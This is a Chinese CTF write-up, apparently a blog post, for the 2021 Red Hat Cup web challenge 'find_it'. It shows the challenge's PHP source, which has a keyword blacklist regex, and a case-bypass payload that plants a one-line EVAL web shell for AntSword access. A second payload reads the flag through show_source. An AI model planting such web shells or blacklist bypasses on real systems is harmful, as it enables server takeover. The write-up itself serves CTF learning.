2021-第四届红帽杯网络安全大赛-Web-find_it

通过御剑扫描到了robots.txt
在这里插入图片描述

提示有一个1ndexx.php,尝试访问,但访问不了,返回404,访问.1ndexx.php.swp得到源码

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

不知道它这个正则替换的什么鬼,竟然没有禁用大小写,直接传值

?code=<?php EVAL($_POST['cmd']); ?>

然后访问hack.php,直接上蚁剑
在web目录发现flag
在这里插入图片描述

还有一种解法直接读hack.php的内容,通过这几句代码

$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

flag.php的内容已经写入到hack.php中。那就可以直接读取hack.php拿到flag,这里没被禁用的有
show_source,当然禁用的也可以使用大小写绕过。

?code=<?php show_source(__FILE__); ?>

访问hack.php,也可以直接拿到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值